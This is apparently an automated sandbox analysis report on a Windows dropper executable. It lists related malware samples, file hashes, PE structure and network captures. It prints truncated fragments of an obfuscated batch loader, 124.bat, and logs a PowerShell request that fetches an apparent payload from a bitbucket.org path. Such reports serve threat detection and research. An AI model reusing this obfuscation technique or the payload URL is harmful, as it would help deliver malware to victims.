	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse	185.166.143.48
	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse	185.166.143.50
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	185.166.143.50
	https://www.getcoloringpages.com/coloring/359	Get hash	malicious	Unknown	Browse	185.166.143.48
	HelperLibrary.ps1	Get hash	malicious	Unknown	Browse	185.166.143.50
	SX8OLQP63C.exe	Get hash	malicious	VjW0rm, AsyncRAT, RATDispenser	Browse	185.166.143.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	main_ppc.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	yakov.arm.elf	Get hash	malicious	Mirai	Browse	18.191.162.167
	yakov.arm7.elf	Get hash	malicious	Mirai	Browse	108.128.211.34
	novo.arm5.elf	Get hash	malicious	Moobot	Browse	54.171.230.55
	novo.arm64.elf	Get hash	malicious	Mirai, Moobot	Browse	54.218.85.75
	novo.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	108.156.207.191
	novo.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	54.124.163.228
	novo.ppc440fp.elf	Get hash	malicious	Mirai, Moobot	Browse	54.184.182.174
	novo.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	13.242.57.236
	novo.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	34.216.203.110

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.166.143.50
	PO-A1702108.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	185.166.143.50
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.166.143.50
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.166.143.50
	inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Get hash	malicious	AgentTesla	Browse	185.166.143.50
	doc_20241002_383767466374663543.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.166.143.50
	All#att098764576.exe	Get hash	malicious	Snake Keylogger	Browse	185.166.143.50

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.773832331134527
Encrypted:	false
SSDEEP:	3:NlllulM/l:NllUE
MD5:	805C8FFF87C479813887899456C786A0
SHA1:	AEAC181AD6F9ABD8F565AFEEDF2F88D9863EE26E
SHA-256:	978C1203394A1C538B848F3599CE68FC0347FD3471CFDC729D42E74E2EA90F3F
SHA-512:	CDC6EA80327D036E56B3ACE44729334322F8B525A8765B6598802298AEBC945BA1D867F7DA168EC5B0D3C35F7AACD96B62549E667780814A3C9069E53D74DC88
Malicious:	false
Reputation:	low
Preview:	@...e.................................\|.n.......................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\124.bat

Download File

Process:	C:\Users\user\Desktop\nTHivMbGpg.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (720), with CRLF line terminators
Category:	modified
Size (bytes):	12967
Entropy (8bit):	5.5888603662154415
Encrypted:	false
SSDEEP:	192:D+KQ7X37nOHi+Gdv8ha/Z+qxnsmlNDz5Iy3dJE/4kS9ivGpI+7f8n:D+Zz37nf+GdvGa/ZImlNDzWyY/QIaEn
MD5:	AD09A81FEE793CFF35B99C9512BE34C2
SHA1:	08F34987BDED74057E939D96F2F64BBBD1EC61F0
SHA-256:	618E7CC67994244C2AB0A8480B59066631AD0C8CD07764B5B6D4F79B2358325F
SHA-512:	A41741C1BDEA39F05C5BB8DAE3B55ECDC94F5D8F7E1348485E080410AB02571384049C63FF8F17354803606B4F0AA88A7EBA7CF8B1590E3203E3BC82BD3A815C
Malicious:	false
Reputation:	low
Preview:	@echo off..GOTO ............:............SET ..........=#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#b..GOTO ............:............SET ..........=G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#..GOTO ..........2..:............SET ..........=#F0#XQ#g#Cg#JwB0#Hg#d##u#H##bgBn#FM#bwBl#G0#LwBz#GQ#YQBv#Gw#bgB3#G8#Z##v#HI#..GOTO ............:............SET ..........=HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##..GOTO ............:..........0..SET ..........=+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE..GOTO ..........1..:............SE

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a0v4gvuu.crw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_brg1lxea.r1u.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jarhvwm1.yb2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zg4arvxn.3qi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.175225207813698
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	nTHivMbGpg.exe
File size:	192'512 bytes
MD5:	8d797e4c1866e6542705a564b7fda527
SHA1:	207db5ae1e14888dc1b2d552ba49d45b7cc3b48f
SHA256:	e60cc4cdd031cca383ae7d7449eda37dd72d4ef864816d452a7df72a9d019337
SHA512:	28c2a92f469cd5d6d7ab4b7d14ce7efebaa89e644c0eb387ad09b5ce87b0f3e286d274dc0197dc6e041c5c79e55b009d2323d87652433e6b6f79f08a41d9b7a6
SSDEEP:	3072:WHwrxmMpvDITZg1SX5vWp1icKAArDZz4N9GhbkENEkdByr:5rMZgp0yN90vEAB6
TLSH:	80148D0A63E420A6E4B5537859F2C2775A317CB25B7496BF12C4ED7F3E23680A532B07
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Kr..%!..%!..%!&. ..%!&.& ..%!&.! ..%!&.$ ..%!..$!b.%!&.- ..%!&..!..%!&.' ..%!Rich..%!................PE..d....y............"

File Icon


Icon Hash:	823092d2ec684430

Static PE Info

General

Entrypoint:	0x140008460
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0xE28C79B4 [Sun Jun 11 09:36:52 2090 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	4cea7ae85c87ddc7295d39ff9cda31d1

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F652103FDD0h
dec eax
add esp, 28h
jmp 00007F652103F64Bh
int3
int3
int3
int3
int3
int3
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], edi
inc ecx
push esi
dec eax
sub esp, 000000B0h
and dword ptr [esp+20h], 00000000h
dec eax
lea ecx, dword ptr [esp+40h]
call dword ptr [00000F8Dh]
nop
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ebx, dword ptr [eax+08h]
xor edi, edi
xor eax, eax
dec eax
cmpxchg dword ptr [000046C2h], ebx
je 00007F652103F64Ch
dec eax
cmp eax, ebx
jne 00007F652103F65Fh
mov edi, 00000001h
mov eax, dword ptr [000046B8h]
cmp eax, 01h
jne 00007F652103F65Ch
lea ecx, dword ptr [eax+1Eh]
call 00007F652103FC63h
jmp 00007F652103F6C9h
mov ecx, 000003E8h
call dword ptr [00000F3Bh]
jmp 00007F652103F606h
mov eax, dword ptr [00004693h]
test eax, eax
jne 00007F652103F6A5h
mov dword ptr [00004685h], 00000001h
dec esp
lea esi, dword ptr [000011BEh]
dec eax
lea ebx, dword ptr [0000119Fh]
dec eax
mov dword ptr [esp+30h], ebx
mov dword ptr [esp+24h], eax
dec ecx
cmp ebx, esi
jnc 00007F652103F671h
test eax, eax
jne 00007F652103F671h
dec eax
cmp dword ptr [ebx], 00000000h
je 00007F652103F65Ch
dec ecx
mov edx, 5E523070h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa2b4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf000	0x1ff56	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xe000	0x42c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f000	0x2c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9a68	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9010	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9148	0x520	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7e40	0x8000	d22d8a48c14d2185814d2ed24fb0aed1	False	0.546173095703125	data	6.092855112591348	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2340	0x3000	3748ff8966297360bdba725e2d585c23	False	0.318359375	data	3.84344715350442	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x1f00	0x1000	f198899505f620007167379f74f8141c	False	0.083251953125	data	1.0384025678015962	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xe000	0x42c	0x1000	2d9ecb32a70228f2b07b654e216a79ee	False	0.156005859375	data	1.4378876073270839	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xf000	0x1ff56	0x20000	e76a9f8a5e0d2e22f0fad0506d41e1d1	False	0.6657028198242188	data	6.626189673913868	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2f000	0x2c	0x1000	cf22972a59e8c2a2ad0453d649f2025d	False	0.017578125	data	0.10781936458684958	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0xfac8	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States	0.2713099474665311
RT_ICON	0x128e4	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3225609756097561
RT_ICON	0x12f4c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.41263440860215056
RT_ICON	0x13234	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.4569672131147541
RT_ICON	0x1341c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5574324324324325
RT_ICON	0x13544	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.6223347547974414
RT_ICON	0x143ec	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7369133574007221
RT_ICON	0x14c94	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.783410138248848
RT_ICON	0x1535c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3829479768786127
RT_ICON	0x158c4	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004662673505254
RT_ICON	0x23298	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5300829875518672
RT_ICON	0x25840	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6137429643527205
RT_ICON	0x268e8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.703688524590164
RT_ICON	0x27270	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.425531914893617
RT_ICON	0x276d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024			0.32978723404255317
RT_ICON	0x27b40	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.19394934333958724
RT_ICON	0x28be8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216			0.1354771784232365
RT_DIALOG	0x2b190	0x2f2	data	English	United States	0.4389920424403183
RT_DIALOG	0x2b484	0x1b0	data	English	United States	0.5625
RT_DIALOG	0x2b634	0x166	data	English	United States	0.5223463687150838
RT_DIALOG	0x2b79c	0x1c0	data	English	United States	0.5446428571428571
RT_DIALOG	0x2b95c	0x130	data	English	United States	0.5526315789473685
RT_DIALOG	0x2ba8c	0x120	data	English	United States	0.5763888888888888
RT_STRING	0x2bbac	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States	0.6214285714285714
RT_STRING	0x2bc38	0x520	data	English	United States	0.4032012195121951
RT_STRING	0x2c158	0x5cc	data	English	United States	0.36455525606469
RT_STRING	0x2c724	0x4b0	data	English	United States	0.385
RT_STRING	0x2cbd4	0x44a	data	English	United States	0.3970856102003643
RT_STRING	0x2d020	0x3ce	data	English	United States	0.36858316221765913
RT_RCDATA	0x2d3f0	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2d3f8	0xe14	Microsoft Cabinet archive data, Windows 2000/XP setup, 3604 bytes, 1 file, at 0x2c +A "124.bat", ID 508, number 1, 1 datablock, 0x1503 compression	English	United States	1.0030521642619312
RT_RCDATA	0x2e20c	0x4	data	English	United States	3.0
RT_RCDATA	0x2e210	0x24	data	English	United States	0.7777777777777778
RT_RCDATA	0x2e234	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2e23c	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2e244	0x4	data	English	United States	3.0
RT_RCDATA	0x2e248	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2e250	0x4	data	English	United States	3.0
RT_RCDATA	0x2e254	0xf	ASCII text, with no line terminators	English	United States	1.5333333333333334
RT_RCDATA	0x2e264	0x4	data	English	United States	3.0
RT_RCDATA	0x2e268	0x4	data	English	United States	3.0
RT_RCDATA	0x2e26c	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2e274	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_GROUP_ICON	0x2e27c	0x30	data			0.9166666666666666
RT_GROUP_ICON	0x2e2ac	0xbc	data	English	United States	0.6117021276595744
RT_VERSION	0x2e368	0x408	data	English	United States	0.42248062015503873
RT_MANIFEST	0x2e770	0x7e6	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.37734915924826906

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, LoadLibraryExA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, WaitForSingleObject, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, ExpandEnvironmentStringsA, LocalAlloc, lstrcmpA, FindNextFileA, GetCurrentProcess, FindFirstFileA, GetModuleFileNameA, GetShortPathNameA, Sleep, GetStartupInfoW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, GetTickCount, EnumResourceLanguagesA, GetDiskFreeSpaceA, MulDiv, FindClose
GDI32.dll	GetDeviceCaps
USER32.dll	ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetSystemMetrics, CallWindowProcA, SetWindowTextA, MessageBoxA, SendDlgItemMessageA, SendMessageA, GetDlgItem, DialogBoxIndirectParamA, GetWindowLongPtrA, SetWindowLongPtrA, SetForegroundWindow, ReleaseDC, EnableWindow, CharNextA, LoadStringA, CharPrevA, EndDialog, MessageBeep, ExitWindowsEx, SetDlgItemTextA, CharUpperA, GetDesktopWindow, PeekMessageA, GetDlgItemTextA
msvcrt.dll	?terminate@@YAXXZ, _commode, _fmode, _acmdln, __C_specific_handler, memset, __setusermatherr, _ismbblead, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, _XcptFilter, memcpy_s, _vsnprintf, _initterm, memcpy
COMCTL32.dll
Cabinet.dll
VERSION.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T19:02:44.809157+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49700	185.166.143.50	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 19:02:42.318567038 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:42.318598032 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:42.319402933 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:42.326513052 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:42.326528072 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:42.995073080 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:42.995176077 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:42.999654055 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:42.999665976 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:42.999933004 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:43.012264013 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:43.059411049 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:43.512857914 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:43.512923956 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:43.512943029 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:43.512960911 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:43.512981892 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:43.512988091 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:43.513001919 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:43.513016939 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:43.513045073 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:43.513071060 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:43.597841024 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:43.597934008 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:43.597949982 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:43.598064899 CEST	443	49699	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:43.598115921 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:43.609416008 CEST	49699	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:43.663186073 CEST	49700	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:43.663244009 CEST	443	49700	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:43.663320065 CEST	49700	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:43.663889885 CEST	49700	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:43.663911104 CEST	443	49700	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:44.299258947 CEST	443	49700	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:44.301146030 CEST	49700	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:44.301182985 CEST	443	49700	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:44.808984995 CEST	443	49700	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:44.809009075 CEST	443	49700	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:44.809029102 CEST	443	49700	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:44.809070110 CEST	49700	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:44.809092045 CEST	443	49700	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:44.809106112 CEST	49700	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:44.809138060 CEST	49700	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:44.893155098 CEST	443	49700	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:44.893218040 CEST	49700	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:44.893244028 CEST	443	49700	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:44.893260956 CEST	443	49700	185.166.143.50	192.168.2.7
Oct 2, 2024 19:02:44.893304110 CEST	49700	443	192.168.2.7	185.166.143.50
Oct 2, 2024 19:02:44.893510103 CEST	49700	443	192.168.2.7	185.166.143.50

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 19:02:42.302431107 CEST	57645	53	192.168.2.7	1.1.1.1
Oct 2, 2024 19:02:42.312102079 CEST	53	57645	1.1.1.1	192.168.2.7
Oct 2, 2024 19:02:59.322211981 CEST	53	58549	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 19:02:42.302431107 CEST	192.168.2.7	1.1.1.1	0x1716	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 19:02:42.312102079 CEST	1.1.1.1	192.168.2.7	0x1716	No error (0)	bitbucket.org	185.166.143.50	A (IP address)	IN (0x0001)	false
Oct 2, 2024 19:02:42.312102079 CEST	1.1.1.1	192.168.2.7	0x1716	No error (0)	bitbucket.org	185.166.143.48	A (IP address)	IN (0x0001)	false
Oct 2, 2024 19:02:42.312102079 CEST	1.1.1.1	192.168.2.7	0x1716	No error (0)	bitbucket.org	185.166.143.49	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bitbucket.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	185.166.143.50	443	2412	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 17:02:43 UTC	110	OUT	GET /hgdfhdfgd/test/downloads/new_image.jpg?14441723 HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
